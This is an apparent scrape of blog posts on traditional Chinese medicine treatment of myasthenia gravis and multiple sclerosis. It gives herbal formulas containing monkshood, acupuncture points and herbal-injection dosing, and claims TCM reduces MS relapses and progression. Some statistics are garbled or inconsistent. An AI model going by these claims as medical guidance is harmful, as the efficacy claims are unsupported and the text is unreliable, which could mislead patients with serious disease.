In the prescription, monkshood and epimedium are used to warm the yang or the body. Ginger, Indian bread and atractylodes warm the middle burner (spleen and stomach) and promote the secretion of urine. Peony root, cassia and spatholobus nourish the blood and remove obstruction in all the meridians. Scurfpea, teasel and taxillus nourish the kidney and strengthen the bones, loins, and legs. 

4. Asthenia-syndrome of superficies with interior dampness retention

Therapeutic aim: Strengthens the middle burner, benefits the qi, harmonizes nutrients and defends qi. It does this by providing a yang energy in the body derived from the digestion and absorption of foods by the spleen and stomach. This helps protect the skin and muscle, provides resistance against the exogenous pathogens and regulates the secretion of sweat.

Prescription:fangyi huangqi decoction with modification

sheng huang qi fresh milkvetch root
fang ji four-stamen stephania root
sheng jiang fresh ginger
da zao Chinese date
gan cao liquorice root
gui zhi cassia twig
bai shao white peony rooti
cang zhu atractylodes root
sheng long ku unprocessed fossil fragment
sheng mu li fresh oyster shell

In the prescription, cassia, ginger, date, liquorice and milkvetch are used to tonify the stomach, nourish the middle burner, and benefit the qi. Peony root nourishes the qi and regulates the blood circulation. Stephania and atractylodes eliminate dampness evil and relieve joint pain. Fossil and oyster shell arrest premature ejaculation and sweating. The synergistic action of the herbs in this recipe consolidate body resistance, eliminate fluid retention, replenish the kidney and blood, and nourish muscles and bones. 

5. Cold in the superficies and heat in the interior

Therapeutic aim: Expels superficial pathogens and clears away heat evil.

Prescription: Yuebi Jiashu decoction with modification

ma huang ephedra
cang zhu atractylodes root
sheng jiang fresh ginger
da zao Chinese date
jiu gan cao liquorice root
shang shi gao unprocessed gypsum
fang ji four-stamen stephania root
mu gua papaya

In the prescription, ephedra, ginger, date and liquorice provide pungent and warming properties to warm the middle burner, invigorate the stomach, and relieve the exterior symptoms. Gypsum can clear away interior heat evil. Stephania, papaya, and atractylodes eliminate dampness evil and relieve joint pain.

6. Marrow deficiency and channels bi-syndrome

Therapeutic aim: Nourishes the marrow and smoothes the flow of qi and blood in all meridians.

Prescription: yougui pellet with modification

shu di huang processed rehmannia root
shan yao common yam root
shan zhu yu Asiatic cornelian cherry fruit
gou qi chi Barbary wolfberry fruit
jiu gan cao liquorice root
du zhong eucommia bark
rou gui cassia bark
zhi fu zi prepared common monkshood daughter root
wu she black snake
xing ling pi epimedium herb
cang zhu atractylodes root
gou ji cibot rhizome
sang ji sheng Chinese taxillus herb

In the prescription, monkshood, rehmannia, cassia, cornelian cherry, eucommia, cibot and epimedium invigorate the kidneys and strengthen the tendons and bones. Atractylodes and taxillus eliminate dampness evil and relieve joint pain. Liquorice helps regulate stomach function and benefits vital qi (energy).

 

]]> Myasthenia Gravis http://acuherb.us/myasthenia-gravis/ Fri, 30 Mar 2012 19:41:57 +0000 http://acuherb.us/?p=1454

By Dr. Ken. Wang

Myasthenia gravis is a chronic disorder of neuromuscular junction function that causes muscles to become weak and to tire easily. The specific pattern of muscle involvement is often important to diagnosis. 

The Brain and Nervous System
The central nervous system comprises the brain and spinal cord. Nerves are attached to the spinal cord and branch out to the entire body forming the peripheral nervous system. Nerve impulses can travel along each nerve in one direction only. One type of nerve (motor) carries signals from the brain to the legs, for example, and another (sensory) sends signals back from the legs to the brain.

 

Myasthenia gravis is an autoimmune disease that results in chronic defective transmission of nerve impulses to the muscles. The disease produces weakness and abnormally rapid fatigue of voluntary muscles. Symptoms improve after rest or medication. The disease usually presents between the ages of 10 and 50 years and women are affected more often than men in 200,000. It is an uncommon disease occurring in approximately one in 200,000 people.

Depending on the symptoms it produces, myasthenia gravis is placed in different traditional Chinese medicine (TCM) syndrome categories:

When weakness of the limbs predominates, it is classified as flacciditysyndrome. In TCM, this refers to a syndrome marked by weakness, limited movement and muscular atrophy (wasting) of the limbs, especially the lower limbs and results from lack of nourishment reaching the muscle tissue. This can be caused by consumption of body fluid by lung-heat, an overwhelming effect of dampness-heat evil, or weakness of the liver and kidneys leading to insufficiency of essence and blood.
If the main symptom is drooping of one or both eyelids, the syndrome is classified as ptosis.
In individuals presenting with weakness of the eye muscles and suffering from double vision, the syndrome is classified as vision changes.
Others classifications include drooping head or respiratory collapse and relate to corresponding manifestations of the disease.

Causes

Myasthenia gravis has an overall incidence of about four cases per million. There is no racial or geographic predilection, and the disorder can occur at any age. However, there is an increased incidence in young women, especially in the third decade, and in older men in the seventh decade.

The disease is caused by the autoimmune destruction of the acetylcholine receptors on the post-synaptic membrane of the muscle fiber. Immune complexes are deposited at the post-synaptic membranes causing interference with and later destruction of the acetylcholine receptor. The communication between the nerve impulses and muscle fibers is impaired or lost and muscle weakness results.

Click here to see structure of the Neuromuscular Junction

The process that initiates the immune response is unknown, but the thymus gland appears to be critical for both the autoimmune activation and the maintenance of the activated autoimmune state. Overgrowth of the thymus gland is found in 70 per cent of myasthenic patients below the age of 40 years. In 10 per cent of patients there is a tumor of the thymus gland and the incidence of this increases with age.

There is an association between myasthenia gravis and thyroid disease, rheumatoid disease, pernicious anemia and systemic lupus erythematosus. Myasthenia gravis is sometimes caused by D-penicillamine treatment in rheumatoid disease.

In TCM, myasthenia gravis is considered to be a complex disease. Many organs or systems of the body are involved and progress of the disease varies. Manifestations of the disease do not necessarily follow a prescribed order, but depend on the pathogenic factors involved and the mechanisms affected. The causes can be classified as follows:

Exogenous causes 
Invasion by exogenous pathogens leads to impaired functioning of organs and depletion of blood and vital energy (qi), contributing to the disease. TCM considers that blood belongs to yin-fluid, which is mainly responsible for providing moisture and nourishment to the tissues. The role of qi is to promote and consolidate all body functions. Deficiency in blood and qi result in inadequate supply of these essentials to the muscles, tendons and meridians and flaccidity syndrome results.

Endogenous causes
These can occur when an individual encounters emotional problems or damage by the seven modes of emotions (for example, anger damaging the liver, fear damaging the kidneys or melancholia damaging the spleen). The understanding in TCM is that the liver stores the blood that supports the tendons, and the kidneys store essence for the production of bone marrow. Both blood and essence are part of yin. If an individual’s liver-yin and kidney-yin are depleted, a virtual fire is created internally causing the supply of blood and essence to become exhausted. The tendons and muscles then lose their nutrient supply and become weak and numb.

Non-exogenous/endogenous cause
This is mainly the result of an imbalanced lifestyle and includes the eating of an improper diet (too much greasy or sweet food) or excess consumption of alcohol and leads to spleen and stomach injury. Stress and chronic disease can also result in a decline in qi and body fluid and cause spleen and stomach damage. The spleen and stomach are the primary organs for digestion and absorption; they extract nutritive essence from food and use it for the production of qi, blood and body fluids. If they do not function properly, muscle weakness, drooping eyelids or breathing difficulties can develop.

Congenital factors
Inborn defects, such as weakness of the spleen and stomach, yang-deficiency of the spleen and kidneys or yin-deficiency of the liver and kidneys, can cause failure in different organs and lead to the disease.

Symptoms

Weakness is the defining symptom of myasthenia gravis. Patients may not recognize it as such and complain to their doctor of double vision, difficulty swallowing, slurring of speech, or even a change in gait. Five areas of motor function are commonly affected and involve the muscles that control the following:

the eye
the face, nose and throat
respiration
the torso (pectoral and pelvic muscles), and
the arms and legs.

The symptoms may fluctuate from hour to hour, from day to day, or over longer periods. They are provoked or worsened by exertion, exposure to extremes of temperature, viral or other infections, menses and excitement. 

The symptoms experienced are commonly these: 

 

Eye muscle involvement often results in drooping of the upper eyelid and double vision. It usually affects both eyes and is asymmetrical.
Weakness of other muscles innervated by cranial nerves results in loss of facial expression, everted (pouting) lips, a smile that resembles a snarl, jaw drop, nasal regurgitation of liquids, choking on foods and secretions, and a slurred, nasal speech with a reduced volume.
Depending on the severity of the disease, difficulty breathing can appear on moderate or mild exertion or be present even at rest.
Abnormal tiredness of the limb muscles causes difficulty in combing the hair, lifting objects repeatedly, climbing stairs, walking and running.


Initially, the symptoms affect only the eyes in 40 per cent of patients; are generalized in 40 per cent; involve only the extremities in 10 per cent; and affect only the nose, mouth or throat, or these muscles and the eye muscles in another 10 per cent. Subsequently, the weakness can spread from the eye to the facial, salivary, swallowing and respiratory muscles and then to the torso and limb muscles, but the sequence may vary. Arm and leg muscles are affected more than hands and feet. In the most advanced cases the weakness is general throughout the body.

By the end of the first year, the eye muscles are affected in nearly all patients. The symptoms remain ocular (involving the eye) in only 16 per cent. In nearly 90 per cent of those in whom the disease becomes generalized, this occurs within the first year after the onset. Progression is most rapid within the first three years, and more than half of the deaths caused by myasthenia gravis occur in that period.

Spontaneous remissions lasting from weeks to years can occur. Long remissions are uncommon, and most remissions occur during the first three years.

TCM practitioners will examine a sufferer and categorize symptoms under special syndrome groups known as “disharmony patterns.” Certain disharmony patterns are present at different stages of a disorder. In myasthenia gravis, these can be classified into the following types:

Qi-deficiency in the spleen and stomach
Individuals present with drooping eyelids, weakness of the limbs, and difficulty in holding the head up and chewing food. Symptoms are worse towards the end of the day. Others symptoms include poor appetite, diarrhea, a reluctance to speak and shortness of breath.

Yang-deficiency in the spleen and kidneys
This often presents with drooping eyelids, limitation in muscular control of the eye, and limb weakness. Other accompanying symptoms are soreness in the loin region, spontaneous sweating, aversion to cold temperatures, cold limbs, a pale complexion, difficulty in swallowing, poor appetite and diarrhea, and the excretion of large volumes of dilute urine.

Yin-deficiency in the liver and kidneys
The main symptoms include drooping eyelids, difficulty in swallowing and chewing food, and limb weakness. Symptoms worsen towards the end of the day. Other accompanying symptoms are soreness and weakness in the lumbar (lower back) region and knees, dizziness, ringing in the ears, insomnia and nightmares. A feeling of dryness in both eyes and a hot sensation in the chest, palms of the hands and soles of the feet can develop.

Deficiency in both qi and blood
Individuals present with fatigue and weakness, palpitation, shortness of breath, a reluctance to speak, pale complexion, drooping eyelids, difficulty in swallowing and chewing food, muscle wasting and fatigue, and spontaneous sweating. 

Diagnosis

The presence of weakness (usually worse at the end of the day or after vigorous exercise), but without loss of sensation is necessary although not sufficient on its own to make the diagnosis of myasthenia gravis. Diagnosis is based on the clinical history, physical examination and results of specific tests and laboratory studies. 

Tensilon (edrophonium) test
Edrophonium chloride (an anticholinesterase) is given intravenously. If improvement in weakness occurs within seconds and lasts for two to three minutes the test is considered positive. Occasionally the test itself can cause respiratory constriction and fainting and is always carried out in a proper clinical setting.

Serum acetylcholine receptor antibodies
These disease-specific antibodies are present in 90 per cent of cases of generalized myasthenia gravis. The antibodies are found in no other condition.

Nerve stimulation
Stimulation of the motor nerve results in a characteristic decrease in muscle response.

Other tests
Chest X-ray may show a mass (enlarged gland) in the area of the thymus that can be confirmed by computed tomography scanning. Nothing unusual can be detected from peripheral blood samples.

Diagnosis in TCM places importance on determining the circumstances and manifestations of a disease through inquiry and symptom observation. Diagnosis is based on the traditional four examination techniques:

1. Questioning The TCM practitioner will establish the medical history of both the patient and his family.
2. Observation Examination of the physical features of the body, such as the face, tongue, hair, nails, sputum (mucus that is coughed up), and location of pain, all offer clues to the problem. The tongue is a particularly useful indicator of the functioning of the internal organs.
3. Listening and smelling The smelling of sputum and breath and listening to the sounds produced by the chest offer additional clues to the patient’s health.
4. Touching Feeling the pulse is a cornerstone of TCM diagnosis and gives the practitioner much information about any bodily imbalance.

In myasthenia gravis, the procedures used in TCM to differentiate between disharmony patterns can be explained as follows: 

Qi-deficiency in the spleen and stomach
Impaired functioning of the spleen and stomach causes an insufficiency in qi and blood production. This reduces the supply of nutrients available to the muscles and tendons and results in weakness in muscular contractions. A reluctance to speak and shortness of breath also result from qi and blood insufficiency. Poor appetite and diarrhea are symptoms of spleen weakness.

On examination, the tongue is swollen, pink in color, indented on the margins and coated with a thin, white fur. The pulse is weak and fine.

Yang-deficiency in the spleen and kidneys
Yang-deficiency implies under-functioning of these two organs. This leads to a decline in the storage of essence and muscle weakness results. Kidney-yang deficiency also causes soreness in the loin area, production of copious amounts of dilute urine and an aversion to cold temperatures.

On examination, the tongue is swollen, pink in color and covered with a thin, white fur. The pulse is deep and fine.

Yin-deficiency in the liver and kidneys
Yin-deficiency of these organs leads to essence and blood depletion and results in loss of nourishment and moisture to the body. Body structures, such as the muscles, bones and tendons, become weak. Liver-yin deficiency can also cause insomnia, nightmares and dryness of the eyes. Kidney problems cause dizziness, ringing in the ears, soreness and weakness in the loin area and the knees.

On examination, the tongue is red with a scanty fur covering. The pulse is fine and rapid.

Deficiency in both qi and blood
Deficiency in qi and blood not only affects the supply of nutrients to muscles and tendons, but also leads to general impairment of the whole body. In addition to symptoms of muscle weakness, individuals present with fatigue, palpitation, shortness of breath, pallor and spontaneous sweating.

On examination, the tongue is pale, swollen and indented on the margins. The tongue fur is white and thin. The pulse is deep and fine.

Treatment

There are three therapeutic options in the TCM treatment of myasthenia gravis: the regularization of disharmony patterns, use of Chinese patent medicines and acupuncture therapy.

Therapeutic regimens for disharmony patterns

Qi-deficiency in the spleen and stomach


Therapeutic aim: To Tonify the spleen and benefit the qi

Prescription: Buzhong yiqi decoction (modified)

dang shen pilose asiabell root
huang qi milk-vetch root
bai zhi large head atractylodes root
sheng ma cimicifuga rhizome
chai hu Chinese thorowax root
chen pi dried tangerine peel
dang gui Chinese angelica
sheng jiang fresh ginger
da zao Chinese date
yi yi ren coix seed
fu ling Indian bread

In this prescription, pilose asiabell, milk-vetch and large head atractylodes roots are used to tonify the spleen and benefit the qi. Cimicifuga rhizome and Chinese thorowax root improve the transformation and transportation functions in the spleen. Dried tangerine peel regulates the qi movement; Chinese angelica aids the blood; and fresh ginger and Chinese date improve the communication between the interior and exterior of the body. Coix seed and Indian bread invigorate the spleen and expel dampness evil. Used in combination, these ingredients invigorate the spleen and stomach, increasing production of nutrient essence and relieving symptoms.

Yang-deficiency in the spleen and kidneys

Therapeutic aim: To warm and tonify the spleen and kidneys

Prescription: Yougui bolus (modified)

fu zi monkshood
rou gui cassia bark
lu jiao jiao deerhorn glue
shu di processed rehmannia root
shan yu rou Asiatic cornelian cherry
tu si zi dodder seed
gou qi chi Chinese wolfberry fruit
du zhong eucommia
dang gui Chinese angelica
dang shen pilose asiabell root
huang qi milk-vetch root
shan yao common yam root
bai zhi large head atractylodes root

In this prescription, monkshood, cassia bark and deerhorn glue warm and invigorate the spleen and kidneys. Rehmannia root, Asiatic cornelian cherry, dodder seed, wolfberry and eucommia are used for nourishing the spleen-yin and kidney-yin. Chinese angelica replenishes the blood; and pilose asiabell, milk-vetch, common yam and large head atractylodes roots replenish the qi and tonify the spleen.

 

Yin-deficiency in the liver and kidneys

Therapeutic aim: To nourish and invigorate the liver and kidneys

Prescription: Zuogui bolus (modified)

sheng di fresh rehmannia rhizome
gou qi chi Chinese wolfberry fruit
shan yu rou Asiatic cornelian cherry
lu jiao jiao deerhorn glue
gui jiao tortoise shell glue
tu si zi dodder seed
niu xi achyranthes root
shan yao common yam root

In this prescription, fresh rehmannia rhizome is used in quantity for effective nourishment of the kidney-yin. Wolfberry replenishes the essence and improves visual acuity; and Asiatic cornelian reduces depletion of essence and calms the liver. Deerhorn glue invigorates the yang; and tortoise shell glue nourishes the yin. A combination of these two glues can replenish essence and bone marrow. Dodder seed and achyranthes root reinforce the lumbar (lower back) region and knees, and strengthen the tendons and bones. Common yam root tonifies the spleen and aids the kidneys.

 

Deficiency in both qi and blood

Therapeutic aim: To invigorate and replenish the qi and blood 

Prescription: Bazhen decoction (modified)

ren shen ginseng
fu ling Indian bread
bai zhi large head atractylodes root
gan cao liquorice root
dang shen pilose asiabell root
bai shao white peony root
shu di processed rehmannia root
chuan xiong Szechwan lovage root
sheng jiang fresh ginger
da zao Chinese date

In this prescription, ginseng, Indian bread, large head atractylodes root and liquorice root invigorate the spleen and benefit the qi. Pilose asiabell, white peony and rehmannia roots nourish the heart and blood. Szechwan lovage root improves the blood circulation; when combined with pilose asiabell root and rehmannia root, it increases blood production without causing an increase in viscosity (thickening). Fresh ginger and Chinese date help the ginseng and Indian bread to regulate the spleen and kidneys.

Chinese patent drugs
These drugs are available in small dosages and are readily absorbed on ingestion. They are more convenient to use because they are not bulky to carry about and are therefore more appropriate to a busy lifestyle. Taking a pill or a bolus is often easier for those who do not wish to consume large volumes of liquid or who do not like the bitter taste of decoctions. Examples of patent medicines used in the treatment of myasthenia gravis are:

Qi-deficiency in the spleen and stomach:Buzhong yiqi bolus
Yang-deficiency in the spleen and kidneys:Ginseng yangrong bolus
Yin-deficiency in the liver and kidneys:Liuwei dihuang bolus 
Deficiency in both qi and blood: 
Jinkui shenqi bolus

Acupuncture therapies
Use of acupuncture stimulates the meridians. These connect the internal organs with the limbs and their stimulation results in: 

activation of qi and blood
regulation of yin and yang
strengthening of the tendons and bones, and
lubrication of the joints.

Acupuncture can be used therefore as the main or an adjuvant therapy. 
Treatment is given daily over 10 days; four to five acupoints are selected each time and the needle retained for 20 to 30 minutes.

For drooping eyelids, acupoints are selected on the face: zan-zhu, yang-bai, yu-yao, si-bai and jing-ming.
For limb weakness: he-gu, nei-guan, wai-guan, san-yin-jiao, tai-chong, da-zhui, pi-yu, shen-yu and zu-san-li are used.

Otopuncture therapy 
This therapy is used weekly and applied to each ear alternately. The method involves acupoint embedding of the needle under the skin.

The acupoints used are spleen, kidney, liver and points for endocrine functions. 

 

]]> Multiple Sclerosis http://acuherb.us/multiple-sclerosis/ Wed, 28 Mar 2012 19:09:03 +0000 http://acuherb.us/?p=1450

By Dr.Ken Y. Wang

Multiple Sclerosis (MS) is a neural disorder with an unknown triggering mechanism. This chronic, slowly progressive autoimmune disease is where the body’s immune system attacks the myelin sheaths around nerve cells mainly in the brain and spinal cord (a process called demyelination), resulting in the damaged areas failure to transmit nerve impulses. Because the lesions can partially heal, it goes through characteristic phases of remission and relapse.

Initial symptoms of MS are often vague, such as blurred or double vision, fatigue and muscular weakness. Individuals are usually diagnosed between the ages of 20 and 40, when they present with symptoms like muscular weakness, numbness, incoordination, paralysis, convulsions, visual problems, bladder or bowel disturbances, mood swings, cognitive problems and difficulty in speaking. Symptoms vary greatly from patient to patient since almost every system of the body can be affected.

Chinese Medicine: Multiple sclerosis (MS) is a disorder of the central nervous system (brain and spinal cord), which is characterized by patchy, degenerative changes in the myelin sheaths surrounding nerve cells, resulting in scar formation. It is a common neurological disorder in the northern hemisphere.

This debilitating disease is rare in China, and no specific details have been recorded in TCM history. However, reports about it are on the rise. Due to a great variety in clinical presentations, modern TCM places MS in different syndrome categories and takes the individual’s condition as reference.

When symptoms are marked withmuscular weakness or paralysis syndrome, it is classified as flaccidity syndrome. This is a morbid condition that is mostly due to a lack of nourishment in the muscles.

When individuals present with difficulty in speaking, limb weakness or paralysis, TCM classifies their conditions asaphasia and paralysis syndrome, which is believed to be mainly due to consumption of kidney essence or obstruction of the meridians by wind and phlegm.

When dizziness, vertigo and unsteadiness predominate, TCM classifies it as vertigo syndrome. This usually caused by exogenous evils invasion(especially wind-fire or phlegm-dampness), impairment of qi (vital energy) or blood flow or organ dysfunction (deficiency of heart, spleen or kidney.)

In the late stages that present with limb spasms, delirium or mental deterioration, physicians usually put this condition underepilepsy or dementia syndromes.

While Western medicine has a number of drugs to slow down progress of this disease and reduce the frequency of attacks, there is still no cure for MS. Based on integrated immune modulation effects  to the body, TCM therapies can assist individuals in recovery from attacks, reducing the number of relapses and preventing further progression of the MS.

Causes

TCM knows very little about the cause of multiple sclerosis (MS). However, the typical symptoms of multiple sclerosis such as limb weakness, vertigo, incoordination and even paralysis are mainly attributed to dysfunctions in the lung, liver, spleen and kidney. It is possible that the organs are attacked by exogenous factors like heat, dryness, dampness and wind evils, which give rise to yang-qi failing to ascend upward to nourish the brain. Furthermore, TCM holds that a well organized internal environment ensures the production of marrow (which is chiefly derived from kidney essence and food nutrients). The marrow not only fills the bone, it also makes up the brain and spinal column, and thus TCM calls these structures the “sea of marrow”. Long-term disharmony or emotional stimulation will affect the production of marrow particularly when the kidney is involved, leading to problems in the central nervous system.

Generally, the pathogenesis of MS can be divided into the following aspects:

Deficiencies in the spleen and stomach 
In TCM, one of the major functions of the spleen and stomach are transforming food into nutrient essence that is used to manufacture qi and blood. Under-functioning will lead to malabsorption and indigestion, and dampness or phlegm will accumulate. When dampness or phlegm interferes with the ascending movement of yang-qi to the head region, vertigo occurs. On the other hand, due to the impairment in the transformation of blood and qi, head orifices and the sea of marrow will lose nourishment, leading to the development of speech difficulties or visual problems. When there are inadequate nutrients to bones, muscles and tendons, associated symptoms appear. Improper diet is an important cause of these symptoms.

Invasion of external dampness evil 
This is contracted by living in damp places, sitting on damp grass, failing to dry oneself after swimming, being exposed to damp weather when wearing inadequate clothes or being exposed to foggy weather. The dampness evil tends to invade the meridians in the limbs; they cause obstruction and lead to heaviness, numbness and tingling sensations. When the damp circumstances last for a long time or are repeated, the accumulated dampness evil can turn into internal heat, which will then cause further damage to the organs, and result in various symptoms.

Flaring up in lung heat 
Normally, the lung is responsible for distributing the nutrient essence throughout the body; this distribution function is carried by the lung fluid, which works to nourish the muscles, tendons, bones and vessels and also acts as the material base for normal functioning of the other organs. Acute febrile disease caused by exogenous evils invasion e.g. wind, heat, or coldness, usually damage the lung and lead to lung fluid being consumed and therefore depleted. Sometimes, a heated lung can also be induced by excessive internal heat and dryness evils. Depletion of lung fluid leads to insufficient nourishment in the above mentioned structures and result in related manifestations.

Impairment of the liver and kidney 
In TCM, liver stores blood and rules tendons, and kidney stores essence and rules bones. Having a long-term chronic disease, being sexually active, overstraining oneself, suffering from an emotional disturbance or accumulation of damp-heat evils in the lower burner lead to liver and kidney damage. This leads to a depletion of kidney essence. As a result, there are inadequate supply to the bones, tendons and meridians, leading to the development of multiple sclerosis. 

Symptoms

According to the location of lesions in the brain and spinal column, multiple sclerosis can present in various ways. The neural symptoms include difficulty speaking, blurred vision, double vision, weakness and heaviness of one or both legs, jerking of the legs, numbness or tingling and incoordination. Some individuals may only show vague signs like vertigo, incontinence, urinary urgency or frequency, vomiting, diarrhea and impotence. If the nervous system keeps on degenerating, symptoms will progressively worsen.

TCM practitioners usually begin with a full investigation of the individual and then categorize his or her symptoms under syndrome groups known as “disharmony patterns.” In addition to the symptoms discussed above, TCM practitioners also focus on associated symptoms for syndrome differentiation. The disharmony patterns, which present at different stages of the disease, generally indicate the degree of disharmony of the body and the involved organs as well as the progress of the disease.

Meridian obstruction by phlegm and heat 
After onset of fever, individuals develop sudden limb weakness, numbness or paralysis. Associated symptoms include distended headache, irritability, chest tightness, ear ringing or blurred vision. In some cases, there may be sudden blindness, thirst without the desire to quench it, speaking difficulties, yellow sticky secretions in the throat, and even urinary difficulty.

Damp-heat dissemination 
This leads to a gradual development of limb weakness which is obvious in the lower limbs as well as numbness and a slight puffiness in the limbs. Other symptoms include tightness in the forehead, generalized heaviness, sallow complexion, abdominal distention, depression, decreased vision, diarrhea and yellowish urine.

Blood stasis accumulated in meridian 
This leads to limb weakness with numbness, tingling or contracting pain; other symptoms are dizziness, ear ringing, sallow complexion, muscular atrophy, urinary difficulty or dribbling after voiding, double vision or even blindness.

Deficiencies in lung and spleen 
This leads to slow and progressive development of limb weakness, unsteadiness, tremor and muscular atrophy in the lower limbs. Other associated symptoms include pale complexion, poor appetite, abdominal distention, diarrhea, and aversion to wind; there is also a tendency to catch cold or flu, dizziness, inability to void urine, blurred version or even blindness.

Deficiencies in liver and kidney 
Individuals present with general paralysis, weight loss, unsteadiness, clumsiness, facial distortion, soreness in lumbar and knee regions. Associated symptoms include dizziness, vertigo, blurred version, throat dryness, constipation, ear ringing, fatigue, depression, speaking difficulty, urinary difficulty, as well as hot sensations in the palms, soles and chest.

Depletion of kidney yang 
Individuals present with general paralysis, numbness, muscular atrophy, clumsiness, unsteady steps, blurred version or dropping of upper eyelids, declined hearing, difficulties in swallowing and speaking. Other accompanying symptoms include dizziness, limbs coldness, fatigue and sleepiness, sensitivity to cold temperatures, poor appetite, urinary frequency and diarrhea.

Diagnosis

In TCM, diagnosis is based on the four examination techniques, which stress the determining of the circumstances and manifestations of a disease through inquiry and symptom observation.

Procedures for a TCM diagnosis of multiple sclerosis (MS) can be explained as follows:

Meridian obstruction by phlegm and heat 
This usually occurs in the late stages of a MS relapse. Invasion of heat evils give rise to symptoms like fever, thirst, irritable and urinary difficulty, while phlegm invasion tends to cause obstructions and interfere with the meridian flows. In addition to limb problems, the influence of phlegm is also blamed for chest tightness, distended headache, throat secretions and vision problems. On examination, the tongue is red and covered by yellow or yellow greasy fur. The pulse is rolling and rapid or taut and rolling.

Damp-heat dissemination 
The acute stages of MS usually fit this pattern. Damp-heat is a pathogen mostly contracted from the external environment. Typical symptoms include fever, headache, body aches, generalized heaviness, fatigue, abdominal distention and poor appetite as well as scanty and yellowish urine. On examination, the tongue is red and covered by yellow fur; the pulse is hesitant and rapid.

Blood stasis accumulated in meridians 
Features of blood stasis are characterized by numbness, contracting pain and tingling sensations. On examination, the lips are purple, the tongue is purple-blue or may appear bruised; the pulse is hesitant.

Deficiencies in the lung and spleen 
In TCM, the spleen is the source of nutrients while the lungs play an important role in the distribution of nutrients. Dysfunction of the two organs not only affects the supply of nutrients to muscles and tendons, but also leads to general impairment of the whole body. Symptoms include weakness, as well as low resistance against infection, dizziness and a sallow complexion. On examination, the tongue is pale and covered by thin white fur. The pulse is fine and weak.

Deficiencies in the kidneys and liver 
The kidney stores essence while the liver stores blood. Disorder in these organs therefore lead to inadequate nourishment in important structures like the brain, orifices and limbs lead to symptoms such as dizziness, ear ringing, speaking difficulty, numbness and soreness. Yin deficiency in this case leads to yang hyperactivity creating virtual heat symptoms. On examination, the tongue is red with little fur covered the pulse is fine and rapid.

Depletion in kidney yang 
This pattern usually results from enduring yin deficiency; kidney yang has the effect of propelling transformation and warming the organs. It acts as the root of the body’s physiological functions. As a result, all physiological activities decline, leading to coldness and inhibitory symptoms. On examination, the tongue is swollen and pale, and is covered by white thin fur. The pulse is deep and fine.

It should be emphasized that individuals usually present with different manifestations of their illness and not as described above. Therefore, an experienced physician is needed to ensure an accurate diagnosis.

Treatment

TCM’s experience with multiple sclerosis (MS) indicate that therapeutic strategies for individuals undergoing a MS relapse or those who are newly diagnosed, should focus on releasing the body surface, expelling wind, clearing heat, resolving phlegm, activating blood and unblocking the meridians. In the late stages or the remission period, strategies should focus on fortifying the kidney, replenishing essence, soothing the liver, nourishing the blood, supplement qi (vital energy) and reinforcing spleen. Nevertheless, it is recommended that treatment be based on syndrome differentiation.

Meridian obstructions by phlegm and heat 
Therapeutic aim: Clear heat, resolve phlegm, smooth and unblock meridians 
Sample prescription: Cleansing Phlegm Decoction (Di Tan Tang)

In the prescription, pinella and arisaema are the main ingredients for cleansing the phlegm. The others work together to clear heat, replenish qi and enhance spleen, so that meridian flows are smoothed, and orifices in the head region can be unblocked. Symptoms like dizziness, speaking difficulty, numbness and weakness in the limbs can be relieved.

Damp-heat dissemination 
Therapeutic aim: Clear heat, resolve dampness and strengthen joints 
Sample prescription: Modified Two Wonders Powder (Jia Wei Er Miao San)

In the prescription, coix seeds, atractylodes rhizome and Corktree bark are the main ingredients for clearing damp-heat. The others activate blood flow, strengthen tendons and bones. As a result, problems in the limbs can be relieved.

Blood stasis accumulated in meridians 
Therapeutic aim: Replenish qi and blood, and activate circulation. 
Sample prescription: Sacred Healing Decoction (Sheng Yu Tang)

All the above ingredients are used for enriching the qi and blood as well as promoting their circulations. As a result, signs such as weakness or abnormal feelings caused by stagnated condition can be resolved.

Deficiencies in the lung and spleen 
Therapeutic aim: Consolidate qi, invigorate the spleen and stomach. 
Sample prescription: Power of Gingeng, Poria and Atractylodes (Seng Ling Bai Shu San)

In the prescription, ginseng, atractylodes and poria are the main ingredients for invigorating the spleen and replenishing qi. Hyacinth bean, lotus seeds, coix seeds and yam can expel the accumulated dampness effectively; together with cardamom seeds, balloonflower and liquorice, the qi flow can be consolidated. As a result, both of the spleen and lung are fortified.

Deficiencies in the kidneys and liver
Therapeutic aim: Invigorate liver and kidney, nourish yin to clear heat. 
Sample prescription:Modified Zuogui Drink

In the prescription, the cornus fruits, dodder seeds, achyranthes and tortoise shell tonify and nourish liver and kidney; the deerhorn replenishes essence and promotes marrow production; the anemarrhena rhizome and corktree bark nourish yin and clear virtual heat.

Depletion in kidney yang 
Therapeutic aim: Warm and invigorate the kidneys, replenish essence and marrow. 
Sample prescription:Modified Erxian Decoction plus Yougui Drink

In the prescription, the  epimedium, eye-grass rhizome, morinda and monkshood can warm kidney and replenish essence; the rehmannia rhizome, cornus fruits and eucommia bark nourish yin and tonify the kidneys which will benefit kidney yang; Chinese angelica nourishes blood; deerhorn glue replenishes essence and marrow.

Acupuncture therapies for multiple sclerosis

During the remission period, the recovery process in MS individuals may take months or even years. Acupuncture not only eases the suffering of patients, it can also stimulate the overall modulation system and speed up the healing process.

Physicians usually focus on the head region during treatment, such as bai-hui, qu-bin, shuai-gu, feng-chi and yu-zhen. They choose one side for stimulation and then carry out the procedure on the opposite side. Needles should be retained for 30 minutes each time, and the procedure should be carried out once a day. After 10 days, there should be a 3-day rest period and then another cycle should take place. Below are the selected acupoints for relief of symptoms:

 

Acupoint injection

Paralysis in the upper limbs: jian-yu, qu-chi, wai-guan, he-gu, shou-san-li; 
Paralysis in the lower limbs: huan-tiao, bi-guan, feng-shi, zu-san-li, yang-ling-quan, san-yin-jiao, xuan-zhong, kun-lun, mai-bu; 
Speaking difficulties: lian-quan, he-gu, tong-li, ya-men; 
Dysphagia: tian-tu, lian-quan, fu-tu, feng-chi, he-gu; 
Urinary retention or incontinence: guan-yuan, qi-hai, zhong-ji, shen-shu; 
Constipation: zu-san-li, yang-ling-quan, tian-shu, da-chang-shu, zhong-wan; 
Blurred vision: jing-ming, tai-yang, guang-ming; 
Facial distortion: yi-feng, xia-guan, di-cang joined jia-ju.

Herbal infusions can be injected at selected points so as to exert stimulating and pharmaceutical effects. Selection of these points are based on the particular manifestations of MS; however the acupoints are usually in the lower limbs, such as fu-tu, bi-guan, zu-san-li, cheng-shan, yang-ling-quan and yin-ling-quan. Some of the herbal injections include Chinese angelica, red sage root and safflower flower. Every two days, 0.5-1.0 ml of diluted herbal infusion should be injected at 2-3 selected points, 5-7 injections for one cycle.

 

Physical therapies

